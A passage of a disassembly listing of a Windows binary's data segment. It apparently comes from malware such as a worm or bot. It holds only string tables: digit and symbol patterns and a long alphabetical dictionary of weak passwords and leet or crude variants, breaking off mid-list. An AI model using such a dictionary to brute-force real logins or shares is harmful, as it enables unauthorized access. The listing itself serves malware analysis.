4 a666 db '666',0 ; DATA XREF: seg002:0042E0DCo a66 db '66',0 ; DATA XREF: seg002:0042E0D8o align 10h a6: ; DATA XREF: seg002:0042E0D4o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: seg002:0042E0D0o align 10h a555555555 db '555555555',0 ; DATA XREF: seg002:0042E0CCo align 4 a55555555 db '55555555',0 ; DATA XREF: seg002:0042E0C8o align 4 a5555555 db '5555555',0 ; DATA XREF: seg002:0042E0C4o a555555 db '555555',0 ; DATA XREF: seg002:0042E0C0o align 4 a55555 db '55555',0 ; DATA XREF: seg002:0042E0BCo align 10h a5555 db '5555',0 ; DATA XREF: seg002:0042E0B8o align 4 a555 db '555',0 ; DATA XREF: seg002:0042E0B4o a55 db '55',0 ; DATA XREF: seg002:0042E0B0o align 10h a5: ; DATA XREF: seg002:0042E0ACo unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: seg002:0042E0A8o align 10h a444444444 db '444444444',0 ; DATA XREF: seg002:0042E0A4o align 4 a44444444 db '44444444',0 ; DATA XREF: seg002:0042E0A0o align 4 a4444444 db '4444444',0 ; DATA XREF: seg002:0042E09Co a444444 db '444444',0 ; DATA XREF: seg002:0042E098o align 4 a44444 db '44444',0 ; DATA XREF: seg002:0042E094o align 10h a4444 db '4444',0 ; DATA XREF: seg002:0042E090o align 4 a444 db '444',0 ; DATA XREF: seg002:0042E08Co a44 db '44',0 ; DATA XREF: seg002:0042E088o align 10h a4: ; DATA XREF: seg002:0042E084o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: seg002:0042E080o align 10h a333333333 db '333333333',0 ; DATA XREF: seg002:0042E07Co align 4 a33333333 db '33333333',0 ; DATA XREF: seg002:0042E078o align 4 a3333333 db '3333333',0 ; DATA XREF: seg002:0042E074o a333333 db '333333',0 ; DATA XREF: seg002:0042E070o align 4 a33333 db '33333',0 ; DATA XREF: seg002:0042E06Co align 10h a3333 db '3333',0 ; DATA XREF: seg002:0042E068o align 4 a333 db '333',0 ; DATA XREF: seg002:0042E064o a33 db '33',0 ; DATA XREF: seg002:0042E060o align 10h a3: ; DATA XREF: seg002:0042E05Co unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: seg002:0042E058o align 10h a222222222 db '222222222',0 ; DATA XREF: seg002:0042E054o align 4 a22222222 db '22222222',0 ; DATA XREF: seg002:0042E050o align 4 a2222222 db '2222222',0 ; DATA XREF: seg002:0042E04Co a222222 db '222222',0 ; DATA XREF: seg002:0042E048o align 4 a22222 db '22222',0 ; DATA XREF: seg002:0042E044o align 10h a2222 db '2222',0 ; DATA XREF: seg002:0042E040o align 4 a222 db '222',0 ; DATA XREF: seg002:0042E03Co a22 db '22',0 ; DATA XREF: seg002:0042E038o align 10h a2: ; DATA XREF: seg002:0042E034o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: seg002:0042E030o align 10h a111111111 db '111111111',0 ; DATA XREF: seg002:0042E02Co align 4 a1111111 db '1111111',0 ; DATA XREF: seg002:0042E024o a11111 db '11111',0 ; DATA XREF: seg002:0042E01Co align 4 a1111 db '1111',0 ; DATA XREF: seg002:0042E018o align 4 a11 db '11',0 ; DATA XREF: seg002:0042E010o align 4 a010 db '010',0 ; DATA XREF: seg002:0042E000o a009 db '009',0 ; DATA XREF: seg002:0042DFFCo a008 db '008',0 ; DATA XREF: seg002:0042DFF8o a006 db '006',0 ; DATA XREF: seg002:0042DFF0o a005 db '005',0 ; DATA XREF: seg000:0040D04Eo ; seg002:0042DFECo a004 db '004',0 ; DATA XREF: seg002:0042DFE8o a003 db '003',0 ; DATA XREF: seg002:0042DFE4o a002 db '002',0 ; DATA XREF: seg002:0042DFE0o a001 db '001',0 ; DATA XREF: seg000:0040D039o ; seg002:0042DFDCo asc_42F28C db '*********',0 ; DATA XREF: seg002:0042DFD8o align 4 asc_42F298 db '********',0 ; DATA XREF: seg002:0042DFD4o align 4 asc_42F2A4 db '*******',0 ; DATA XREF: seg002:0042DFD0o asc_42F2AC db '******',0 ; DATA XREF: seg002:0042DFCCo align 4 asc_42F2B4 db '*****',0 ; DATA XREF: seg002:0042DFC8o align 4 asc_42F2BC db '****',0 ; DATA XREF: seg002:0042DFC4o align 4 asc_42F2C4 db '***',0 ; DATA XREF: seg002:0042DFC0o asc_42F2C8 db '**',0 ; DATA XREF: seg002:0042DFBCo align 4 a0000000000 db '0000000000',0 ; DATA XREF: seg002:0042DFB4o align 4 a000000000 db '000000000',0 ; DATA XREF: seg002:0042DFB0o align 4 a@ db '@!',0 ; DATA XREF: seg002:0042DF90o align 4 a@_0 db '#@!',0 ; DATA XREF: seg002:0042DF8Co a@_1 db '$#@!',0 ; DATA XREF: seg002:0042DF88o align 4 a@_2 db '%$#@!',0 ; DATA XREF: seg002:0042DF84o align 4 a@_3 db '^%$#@!',0 ; DATA XREF: seg002:0042DF80o align 4 a@_4 db '&^%$#@!',0 ; DATA XREF: seg002:0042DF7Co a@_5 db '*&^%$#@!',0 ; DATA XREF: seg002:0042DF78o align 4 asc_42F318 db '$$$',0 ; DATA XREF: seg002:0042DF74o asc_42F31C db '$$',0 ; DATA XREF: seg002:0042DF70o align 10h asc_42F320: ; DATA XREF: seg002:0042DF6Co unicode 0, <$>,0 a456_0 db '456+',0 ; DATA XREF: seg002:0042DF68o align 4 a789_0 db '789+',0 ; DATA XREF: seg002:0042DF64o align 4 a0 db '=-0',0 ; DATA XREF: seg002:0042DF60o asc_42F338 db '--++',0 ; DATA XREF: seg002:0042DF5Co align 10h asc_42F340 db '-+',0 ; DATA XREF: seg002:0042DF58o align 4 asc_42F344 db '----',0 ; DATA XREF: seg002:0042DF54o align 4 asc_42F34C db '--',0 ; DATA XREF: seg002:0042DF4Co ; seg002:0042DF50o align 10h asc_42F350: ; DATA XREF: seg002:0042DF48o unicode 0, <->,0 asc_42F354 db '++++',0 ; DATA XREF: seg002:0042DF44o align 4 asc_42F35C db '+++',0 ; DATA XREF: seg002:0042DF40o asc_42F360 db '++',0 ; DATA XREF: seg002:0042DF3Co align 4 asc_42F364: ; DATA XREF: seg002:0042DF38o unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: seg002:0042DF34o align 4 a@_6: ; DATA XREF: seg000:0040D073o ; seg002:0042DF30o unicode 0, <@>,0 off_42F370 dd offset loc_40211D+4 ; DATA XREF: seg002:0042DF2Co dword_42F374 dd 2121h dword_42F378 dd 24234021h, 2A265E25h, 0dword_42F384 dd 24234021h, 265E25hdword_42F38C dd 24234021h, 5E25hdword_42F394 dd 24234021h, 25hdword_42F39C dd 234021h dword_42F3A0 dd 4021h dword_42F3A4 dd 21h ; seg000:0041299Ao ... dword_42F3A8 dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: seg002:0042DF00o align 4 aZap db 'zap',0 ; DATA XREF: seg002:0042DEFCo aYellowstone db 'yellowstone',0 ; DATA XREF: seg002:0042DEF8o aXyz db 'xyz',0 ; DATA XREF: seg002:0042DEF4o ; seg002:0042E3ECo aWisconsin db 'wisconsin',0 ; DATA XREF: seg002:0042DEF0o align 4 aWilliamsburg db 'williamsburg',0 ; DATA XREF: seg002:0042DEECo align 4 aWholesale db 'wholesale',0 ; DATA XREF: seg002:0042DEE8o align 4 aTty db 'tty',0 ; DATA XREF: seg002:0042DEE4o aTopography db 'topography',0 ; DATA XREF: seg002:0042DEE0o align 4 aTemptation db 'temptation',0 ; DATA XREF: seg002:0042DEDCo align 10h aTelephone db 'telephone',0 ; DATA XREF: seg002:0042DED8o align 4 aTangerine db 'tangerine',0 ; DATA XREF: seg002:0042DED4o align 4 aSys db 'sys',0 ; DATA XREF: seg002:0042DED0o aSupported db 'supported',0 ; DATA XREF: seg002:0042DECCo align 4 aSuperuser db 'superuser',0 ; DATA XREF: seg002:0042DEC8o align 4 aSuperstage db 'superstage',0 ; DATA XREF: seg002:0042DEC4o align 10h aSun db 'sun',0 ; DATA XREF: seg002:0042DEC0o aStuttgart db 'stuttgart',0 ; DATA XREF: seg002:0042DEBCo align 10h aStratford db 'stratford',0 ; DATA XREF: seg002:0042DEB8o align 4 aStephanie db 'stephanie',0 ; DATA XREF: seg002:0042DEB4o align 4 aSignature db 'signature',0 ; DATA XREF: seg002:0042DEB0o align 4 aSheffield db 'sheffield',0 ; DATA XREF: seg002:0042DEACo align 10h aSal db 'sal',0 ; DATA XREF: seg002:0042DEA8o aRochester db 'rochester',0 ; DATA XREF: seg002:0042DEA4o align 10h aRje db 'rje',0 ; DATA XREF: seg002:0042DEA0o aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: seg002:0042DE9Co align 4 aPub db 'pub',0 ; DATA XREF: seg002:0042DE98o aProfessor db 'professor',0 ; DATA XREF: seg002:0042DE94o align 4 aPrinceton db 'princeton',0 ; DATA XREF: seg002:0042DE90o align 10h aPondering db 'pondering',0 ; DATA XREF: seg002:0042DE8Co align 4 aPolynomial db 'polynomial',0 ; DATA XREF: seg002:0042DE88o align 4 aPersimmon db 'persimmon',0 ; DATA XREF: seg002:0042DE84o align 4 aPercolate db 'percolate',0 ; DATA XREF: seg002:0042DE80o align 10h aPam db 'pam',0 ; DATA XREF: seg002:0042DE7Co aPad db 'pad',0 ; DATA XREF: seg002:0042DE78o aOceanography db 'oceanography',0 ; DATA XREF: seg002:0042DE74o align 4 aNutrition db 'nutrition',0 ; DATA XREF: seg002:0042DE70o align 4 aNew db 'new',0 ; DATA XREF: seg002:0042DE6Co aNet db 'net',0 ; DATA XREF: seg002:0042DE68o aMit db 'mit',0 ; DATA XREF: seg002:0042DE64o aMgr db 'mgr',0 ; DATA XREF: seg002:0042DE60o aMacintosh db 'macintosh',0 ; DATA XREF: seg002:0042DE5Co align 10h aLiz db 'liz',0 ; DATA XREF: seg002:0042DE58o aLee db 'lee',0 ; DATA XREF: seg002:0042DE54o aLamination db 'lamination',0 ; DATA XREF: seg002:0042DE50o align 4 aKim db 'kim',0 ; DATA XREF: seg002:0042DE4Co aJoy db 'joy',0 ; DATA XREF: seg002:0042DE44o aJen db 'jen',0 ; DATA XREF: seg002:0042DE40o aInnocuous db 'innocuous',0 ; DATA XREF: seg002:0042DE3Co align 4 aImbroglio db 'imbroglio',0 ; DATA XREF: seg002:0042DE38o align 4 aIbm db 'ibm',0 ; DATA XREF: seg002:0042DE34o aHappening db 'happening',0 ; DATA XREF: seg002:0042DE30o align 4 aHal db 'hal',0 ; DATA XREF: seg002:0042DE2Co aGnu db 'gnu',0 ; DATA XREF: seg002:0042DE28o aFun db 'fun',0 ; DATA XREF: seg002:0042DE24o aForesight db 'foresight',0 ; DATA XREF: seg002:0042DE20o align 10h aFoolproof db 'foolproof',0 ; DATA XREF: seg002:0042DE1Co align 4 aExtension db 'extension',0 ; DATA XREF: seg002:0042DE18o align 4 aEstablish db 'establish',0 ; DATA XREF: seg002:0042DE14o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: seg002:0042DE10o align 10h aElizabeth db 'elizabeth',0 ; DATA XREF: seg002:0042DE0Co align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: seg002:0042DE08o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: seg002:0042DE04o align 4 aDos db 'dos',0 ; DATA XREF: seg002:0042DE00o aDog db 'dog',0 ; DATA XREF: seg002:0042DDFCo aDiscovery db 'discovery',0 ; DATA XREF: seg002:0042DDF8o align 4 aDesperate db 'desperate',0 ; DATA XREF: seg002:0042DDF4o align 4 aDeb db 'deb',0 ; DATA XREF: seg002:0042DDF0o aCornelius db 'cornelius',0 ; DATA XREF: seg002:0042DDECo align 4 aCommrades db 'commrades',0 ; DATA XREF: seg002:0042DDE8o align 10h aChristine db 'christine',0 ; DATA XREF: seg002:0042DDE4o align 4 aChristina db 'christina',0 ; DATA XREF: seg002:0042DDE0o align 4 aChemistry db 'chemistry',0 ; DATA XREF: seg002:0042DDDCo align 4 aCatherine db 'catherine',0 ; DATA XREF: seg002:0042DDD8o align 10h aCat db 'cat',0 ; DATA XREF: seg002:0042DDD4o aCampanile db 'campanile',0 ; DATA XREF: seg002:0042DDD0o align 10h aCad db 'cad',0 ; DATA XREF: seg002:0042DDCCo aBsd db 'bsd',0 ; DATA XREF: seg002:0042DDC8o aBob db 'bob',0 ; DATA XREF: seg002:0042DDC4o aBicameral db 'bicameral',0 ; DATA XREF: seg002:0042DDC0o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: seg002:0042DDBCo align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: seg002:0042DDB8o align 10h aAsm db 'asm',0 ; DATA XREF: seg002:0042DDB4o aAsd db 'asd',0 ; DATA XREF: seg002:0042DDB0o aAnthropogenic db 'anthropogenic',0 ; DATA XREF: seg002:0042DDACo align 4 aAnn db 'ann',0 ; DATA XREF: seg002:0042DDA8o aAndromache db 'andromache',0 ; DATA XREF: seg002:0042DDA4o align 4 aAmy db 'amy',0 ; DATA XREF: seg002:0042DDA0o aAmorphous db 'amorphous',0 ; DATA XREF: seg002:0042DD9Co align 4 aAma db 'ama',0 ; DATA XREF: seg002:0042DD98o aAlf db 'alf',0 ; DATA XREF: seg002:0042DD94o aAlbatross db 'albatross',0 ; DATA XREF: seg002:0042DD90o align 4 aAda db 'ada',0 ; DATA XREF: seg002:0042DD8Co aH4x0ring db 'h4x0ring',0 ; DATA XREF: seg002:0042DD88o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: seg002:0042DD84o align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: seg002:0042DD80o align 10h aHaxing db 'haxing',0 ; DATA XREF: seg002:0042DD7Co align 4 aHax db 'hax',0 ; DATA XREF: seg002:0042DD78o aWh0re db 'wh0re',0 ; DATA XREF: seg002:0042DD74o align 4 aHo db 'ho',0 ; DATA XREF: seg002:0042DD70o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: seg002:0042DD6Co align 10h aWindoze95 db 'windoze95',0 ; DATA XREF: seg002:0042DD68o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: seg002:0042DD64o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: seg002:0042DD60o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: seg002:0042DD5Co align 10h aWindozexp db 'windozexp',0 ; DATA XREF: seg002:0042DD58o align 4 aWindows95 db 'windows95',0 ; DATA XREF: seg002:0042DD54o align 4 aWindows98 db 'windows98',0 ; DATA XREF: seg002:0042DD50o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: seg002:0042DD4Co align 10h aWindows2k db 'windows2k',0 ; DATA XREF: seg002:0042DD48o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: seg002:0042DD44o align 4 aMs db 'MS',0 ; DATA XREF: seg002:0042DD40o align 4 aM_0 db 'M$',0 ; DATA XREF: seg002:0042DD3Co align 10h aBilly db 'billy',0 ; DATA XREF: seg002:0042DD38o align 4 aWindose db 'windose',0 ; DATA XREF: seg002:0042DD34o aWindoze db 'windoze',0 ; DATA XREF: seg002:0042DD30o aWindowz db 'windowz',0 ; DATA XREF: seg002:0042DD2Co aWileecoyote db 'wileecoyote',0 ; DATA XREF: seg002:0042DD28o aDonaldduck db 'donaldduck',0 ; DATA XREF: seg002:0042DD24o align 4 aAlexander db 'Alexander',0 ; DATA XREF: seg002:0042DD20o align 4 aAl3x db 'Al3x',0 ; DATA XREF: seg002:0042DD1Co align 4 aDud3 db 'dud3',0 ; DATA XREF: seg002:0042DD18o align 4 aDudette db 'dudette',0 ; DATA XREF: seg002:0042DD14o aD00d db 'd00d',0 ; DATA XREF: seg002:0042DD10o align 4 aLol db 'lol',0 ; DATA XREF: seg002:0042DD0Co aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: seg002:0042DD08o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: seg002:0042DD04o align 10h aRosco db 'Rosco',0 ; DATA XREF: seg002:0042DD00o align 4 aRoss db 'Ross',0 ; DATA XREF: seg002:0042DCFCo align 10h aTestin db 'testin',0 ; DATA XREF: seg002:0042DCF8o align 4 aTester db 'tester',0 ; DATA XREF: seg002:0042DCF4o align 10h a00000000 db '00000000',0 ; DATA XREF: seg002:0042DCF0o ; seg002:0042DFACo align 4 aZulu db 'zulu',0 ; DATA XREF: seg002:0042DCECo align 4 aZombie db 'zombie',0 ; DATA XREF: seg002:0042DCE8o align 4 aZmodem db 'zmodem',0 ; DATA XREF: seg002:0042DCE4o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: seg002:0042DCE0o align 10h aZiggy db 'ziggy',0 ; DATA XREF: seg002:0042DCDCo align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: seg002:0042DCD8o align 4 aZebra db 'zebra',0 ; DATA XREF: seg002:0042DCD4o align 4 aYoung db 'young',0 ; DATA XREF: seg002:0042DCD0o align 4 aYosemite db 'yosemite',0 ; DATA XREF: seg002:0042DCCCo align 10h aYolanda db 'yolanda',0 ; DATA XREF: seg002:0042DCC8o aYellowst db 'yellowst',0 ; DATA XREF: seg002:0042DCC4o align 4 aYellow db 'yellow',0 ; DATA XREF: seg002:0042DCC0o align 4 aYankee db 'yankee',0 ; DATA XREF: seg002:0042DCBCo align 4 aYang db 'yang',0 ; DATA XREF: seg002:0042DCB8o ; seg002:0042E3F4o align 4 aYaco db 'yaco',0 ; DATA XREF: seg002:0042DCB4o ; seg002:0042E3F0o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: seg002:0042DCB0o align 4 aXray db 'xray',0 ; DATA XREF: seg002:0042DCACo align 4 aXmodem db 'xmodem',0 ; DATA XREF: seg002:0042DCA8o align 4 aXmen db 'xmen',0 ; DATA XREF: seg002:0042DCA4o align 4 aXman db 'xman',0 ; DATA XREF: seg002:0042DCA0o align 4 aXfer db 'xfer',0 ; DATA XREF: seg002:0042DC9Co align 4 aXena db 'xena',0 ; DATA XREF: seg002:0042DC98o align 4 aWyoming db 'wyoming',0 ; DATA XREF: seg002:0042DC94o aWwii db 'wwii',0 ; DATA XREF: seg002:0042DC90o align 4 aWormwood db 'wormwood',0 ; DATA XREF: seg002:0042DC8Co align 4 aWorm db 'worm',0 ; DATA XREF: seg002:0042DC88o align 10h aWork db 'work',0 ; DATA XREF: seg002:0042DC84o align 4 aWorf db 'worf',0 ; DATA XREF: seg002:0042DC80o align 10h aWordperf db 'wordperf',0 ; DATA XREF: seg002:0042DC7Co align 4 aWord db 'word',0 ; DATA XREF: seg002:0042DC78o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: seg002:0042DC74o align 10h aWood db 'wood',0 ; DATA XREF: seg002:0042DC70o align 4 aWomen db 'women',0 ; DATA XREF: seg002:0042DC6Co align 10h aWombat db 'wombat',0 ; DATA XREF: seg002:0042DC68o align 4 aWoman db 'woman',0 ; DATA XREF: seg002:0042DC64o align 10h aWolverin db 'wolverin',0 ; DATA XREF: seg002:0042DC60o align 4 aWolf db 'wolf',0 ; DATA XREF: seg002:0042DC5Co align 4 aWizard db 'wizard',0 ; DATA XREF: seg002:0042DC58o align 4 aWithin db 'within',0 ; DATA XREF: seg002:0042DC54o align 4 aWiseass db 'wiseass',0 ; DATA XREF: seg002:0042DC50o aWisconsi db 'wisconsi',0 ; DATA XREF: seg002:0042DC4Co align 4 aWired db 'wired',0 ; DATA XREF: seg002:0042DC48o align 10h aWinston db 'winston',0 ; DATA XREF: seg002:0042DC44o aWing db 'wing',0 ; DATA XREF: seg002:0042DC40o align 10h aWine db 'wine',0 ; DATA XREF: seg002:0042DC3Co align 4 aWindows db 'windows',0 ; DATA XREF: seg002:0042DC38o aWilma db 'wilma',0 ; DATA XREF: seg002:0042DC34o align 4 aWillie db 'willie',0 ; DATA XREF: seg002:0042DC30o align 10h aWilliams db 'williams',0 ; DATA XREF: seg002:0042DC2Co align 4 aWilliam db 'william',0 ; DATA XREF: seg002:0042DC28o aWill db 'will',0 ; DATA XREF: seg002:0042DC24o align 4 aWhore db 'whore',0 ; DATA XREF: seg002:0042DC20o align 4 aWholesal db 'wholesal',0 ; DATA XREF: seg002:0042DC1Co align 10h aWhitney db 'whitney',0 ; DATA XREF: seg002:0042DC18o aWhiting db 'whiting',0 ; DATA XREF: seg002:0042DC14o aWhite db 'white',0 ; DATA XREF: seg002:0042DC10o align 4 aWhisky db 'whisky',0 ; DATA XREF: seg002:0042DC0Co align 10h aWhatnot db 'whatnot',0 ; DATA XREF: seg002:0042DC08o aWhatever db 'whatever',0 ; DATA XREF: seg002:0042DC04o align 4 aWestern db 'western',0 ; DATA XREF: seg002:0042DC00o aWest db 'west',0 ; DATA XREF: seg002:0042DBFCo align 4 aWerewolf db 'werewolf',0 ; DATA XREF: seg002:0042DBF8o align 10h aWendy db 'wendy',0 ; DATA XREF: seg002:0042DBF4o align 4 aWendi db 'wendi',0 ; DATA XREF: seg002:0042DBF0o align 10h aWell db 'well',0 ; DATA XREF: seg002:0042DBECo align 4 aWeenie db 'weenie',0 ; DATA XREF: seg002:0042DBE8o align 10h aWeed db 'weed',0 ; DATA XREF: seg002:0042DBE4o align 4 aWednesda db 'wednesda',0 ; DATA XREF: seg002:0042DBE0o align 4 aWebpage db 'webpage',0 ; DATA XREF: seg002:0042DBDCo aWave db 'wave',0 ; DATA XREF: seg002:0042DBD8o align 4 aWater db 'water',0 ; DATA XREF: seg002:0042DBD4o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: seg002:0042DBD0o align 4 aWasp db 'wasp',0 ; DATA XREF: seg002:0042DBCCo align 10h aWarren db 'warren',0 ; DATA XREF: seg002:0042DBC8o align 4 aWarp db 'warp',0 ; DATA XREF: seg002:0042DBC4o align 10h aWargames db 'wargames',0 ; DATA XREF: seg002:0042DBC0o align 4 aWarfare db 'warfare',0 ; DATA XREF: seg002:0042DBBCo aWarez db 'warez',0 ; DATA XREF: seg002:0042DBB8o align 4 aWard db 'ward',0 ; DATA XREF: seg002:0042DBB4o align 4 aWaco db 'waco',0 ; DATA XREF: seg002:0042DBB0o align 4 aVodka db 'vodka',0 ; DATA XREF: seg002:0042DBACo align 4 aVisualba db 'visualba',0 ; DATA XREF: seg002:0042DBA8o align 10h aVisual db 'visual',0 ; DATA XREF: seg002:0042DBA4o align 4 aVisitor db 'visitor',0 ; DATA XREF: seg002:0042DBA0o aVirus db 'virus',0 ; DATA XREF: seg002:0042DB9Co align 4 aVirginia db 'virginia',0 ; DATA XREF: seg002:0042DB98o align 4 aVirgin db 'virgin',0 ; DATA XREF: seg002:0042DB94o align 4 aVillage db 'village',0 ; DATA XREF: seg002:0042DB90o aVideogam db 'videogam',0 ; DATA XREF: seg002:0042DB8Co align 10h aVideo db 'video',0 ; DATA XREF: seg002:0042DB88o align 4 aVictor db 'victor',0 ; DATA XREF: seg002:0042DB84o align 10h aVicky db 'vicky',0 ; DATA XREF: seg002:0042DB80o align 4 aVertigo db 'vertigo',0 ; DATA XREF: seg002:0042DB7Co aVeronica db 'veronica',0 ; DATA XREF: seg002:0042DB78o align 4 aVenus db 'venus',0 ; DATA XREF: seg002:0042DB74o align 4 aVasant db 'vasant',0 ; DATA XREF: seg002:0042DB70o align 4 aVampire db 'vampire',0 ; DATA XREF: seg002:0042DB6Co aValerie db 'valerie',0 ; DATA XREF: seg002:0042DB68o aVagina db 'vagina',0 ; DATA XREF: seg002:0042DB64o align 4 aUucp db 'uucp',0 ; DATA XREF: seg002:0042DB60o align 4 aUtility db 'utility',0 ; DATA XREF: seg002:0042DB5Co aUtil db 'util',0 ; DATA XREF: seg002:0042DB58o align 4 aUsmc db 'usmc',0 ; DATA XREF: seg002:0042DB54o align 4 aUsername db 'username',0 ; DATA XREF: seg002:0042DB50o align 10h aUsermane db 'usermane',0 ; DATA XREF: seg002:0042DB4Co align 4 aUsenet db 'usenet',0 ; DATA XREF: seg002:0042DB48o align 4 aUrsula db 'ursula',0 ; DATA XREF: seg002:0042DB44o align 4 aUrchin db 'urchin',0 ; DATA XREF: seg002:0042DB40o align 4 aUranus db 'uranus',0 ; DATA XREF: seg002:0042DB3Co align 4 aUpload db 'upload',0 ; DATA XREF: seg002:0042DB38o align 4 aUnlock db 'unlock',0 ; DATA XREF: seg002:0042DB34o align 4 aUnknown_0 db 'unknown',0 ; DATA XREF: seg002:0042DB30o aUniversi db 'universi',0 ; DATA XREF: seg002:0042DB2Co align 10h aUniverse db 'universe',0 ; DATA XREF: seg002:0042DB28o align 4 aUniversa db 'universa',0 ; DATA XREF: seg002:0042DB24o align 4 aUniform db 'uniform',0 ; DATA XREF: seg002:0042DB20o aUnicorn db 'unicorn',0 ; DATA XREF: seg002:0042DB1Co aUnhappy db 'unhappy',0 ; DATA XREF: seg002:0042DB18o aUndo db 'undo',0 ; DATA XREF: seg002:0042DB14o align 4 aUncle db 'uncle',0 ; DATA XREF: seg002:0042DB10o align 10h aUmesh db 'umesh',0 ; DATA XREF: seg002:0042DB0Co align 4 aUgly db 'ugly',0 ; DATA XREF: seg002:0042DB08o align 10h aTuttle db 'tuttle',0 ; DATA XREF: seg002:0042DB04o align 4 aTurn db 'turn',0 ; DATA XREF: seg002:0042DB00o align 10h aTuesday db 'tuesday',0 ; DATA XREF: seg002:0042DAFCo aTubas db 'tubas',0 ; DATA XREF: seg002:0042DAF8o align 10h aTruth db 'truth',0 ; DATA XREF: seg002:0042DAF4o align 4 aTrue db 'true',0 ; DATA XREF: seg002:0042DAF0o align 10h aTron db 'tron',0 ; DATA XREF: seg002:0042DAECo align 4 aTrombone db 'trombone',0 ; DATA XREF: seg002:0042DAE8o align 4 aTrojan db 'trojan',0 ; DATA XREF: seg002:0042DAE4o align 4 aTrivial db 'trivial',0 ; DATA XREF: seg002:0042DAE0o aTrisha db 'trisha',0 ; DATA XREF: seg002:0042DADCo align 4 aTrek db 'trek',0 ; DATA XREF: seg002:0042DAD8o align 4 aTree db 'tree',0 ; DATA XREF: seg002:0042DAD4o align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: seg002:0042DAD0o align 4 aTrap db 'trap',0 ; DATA XREF: seg002:0042DACCo align 10h aTransfer db 'transfer',0 ; DATA XREF: seg002:0042DAC8o align 4 aTrails db 'trails',0 ; DATA XREF: seg002:0042DAC4o align 4 aTracy db 'tracy',0 ; DATA XREF: seg002:0042DAC0o align 4 aTracie db 'tracie',0 ; DATA XREF: seg002:0042DABCo align 4 aTraci db 'traci',0 ; DATA XREF: seg002:0042DAB8o align 4 aToyota db 'toyota',0 ; DATA XREF: seg002:0042DAB4o ; seg002:0042E3C4o align 4 aToxic db 'toxic',0 ; DATA XREF: seg002:0042DAB0o align 4 aTortoise db 'tortoise',0 ; DATA XREF: seg002:0042DAACo align 4 aTopograp db 'topograp',0 ; DATA XREF: seg002:0042DAA8o align 4 aTomato db 'tomato',0 ; DATA XREF: seg002:0042DAA4o align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: seg002:0042DAA0o align 4 aToken db 'token',0 ; DATA XREF: seg002:0042DA9Co align 10h aToggle db 'toggle',0 ; DATA XREF: seg002:0042DA98o align 4 aToad db 'toad',0 ; DATA XREF: seg002:0042DA94o align 10h aTits db 'tits',0 ; DATA XREF: seg002:0042DA90o align 4 aTina db 'tina',0 ; DATA XREF: seg002:0042DA8Co align 10h aTime db 'time',0 ; DATA XREF: seg002:0042DA88o align 4 aTiger db 'tiger',0 ; DATA XREF: seg002:0042DA84o ; seg002:0042E3B8o align 10h aTiffany db 'tiffany',0 ; DATA XREF: seg002:0042DA80o aThursday db 'thursday',0 ; DATA XREF: seg002:0042DA7Co align 4 aThin db 'thin',0 ; DATA XREF: seg002:0042DA78o align 4 aTheresa db 'theresa',0 ; DATA XREF: seg002:0042DA74o aThailand db 'thailand',0 ; DATA XREF: seg002:0042DA70o align 10h aText db 'text',0 ; DATA XREF: seg002:0042DA6Co align 4 aTetris db 'tetris',0 ; DATA XREF: seg002:0042DA68o align 10h aTess db 'tess',0 ; DATA XREF: seg002:0042DA64o align 4 aTerminat db 'terminat',0 ; DATA XREF: seg002:0042DA60o align 4 aTerminal db 'terminal',0 ; DATA XREF: seg002:0042DA5Co align 10h aTera db 'tera',0 ; DATA XREF: seg002:0042DA58o align 4 aTennis db 'tennis',0 ; DATA XREF: seg002:0042DA54o align 10h aTemptati db 'temptati',0 ; DATA XREF: seg002:0042DA50o align 4 aTelnet db 'telnet',0 ; DATA XREF: seg002:0042DA4Co align 4 aTelephon db 'telephon',0 ; DATA XREF: seg002:0042DA48o align 10h aTeenage db 'teenage',0 ; DATA XREF: seg002:0042DA44o aTeen db 'teen',0 ; DATA XREF: seg002:0042DA40o align 10h aTech db 'tech',0 ; DATA XREF: seg002:0042DA3Co align 4 aTears db 'tears',0 ; DATA XREF: seg002:0042DA38o align 10h aTeapot db 'teapot',0 ; DATA XREF: seg002:0042DA34o align 4 aTeam db 'team',0 ; DATA XREF: seg002:0042DA30o align 10h aTaylor db 'taylor',0 ; DATA XREF: seg002:0042DA28o align 4 aTarragon db 'tarragon',0 ; DATA XREF: seg002:0042DA24o align 4 aTarget db 'target',0 ; DATA XREF: seg002:0042DA20o align 4 aTara db 'tara',0 ; DATA XREF: seg002:0042DA1Co align 4 aTape db 'tape',0 ; DATA XREF: seg002:0042DA18o align 4 aTango db 'tango',0 ; DATA XREF: seg002:0042DA14o align 4 aTangerin db 'tangerin',0 ; DATA XREF: seg002:0042DA10o align 10h aTammy db 'tammy',0 ; DATA XREF: seg002:0042DA0Co align 4 aTamie db 'tamie',0 ; DATA XREF: seg002:0042DA08o align 10h aTami db 'tami',0 ; DATA XREF: seg002:0042DA04o align 4 aTamara db 'tamara',0 ; DATA XREF: seg002:0042DA00o align 10h aTall db 'tall',0 ; DATA XREF: seg002:0042D9FCo align 4 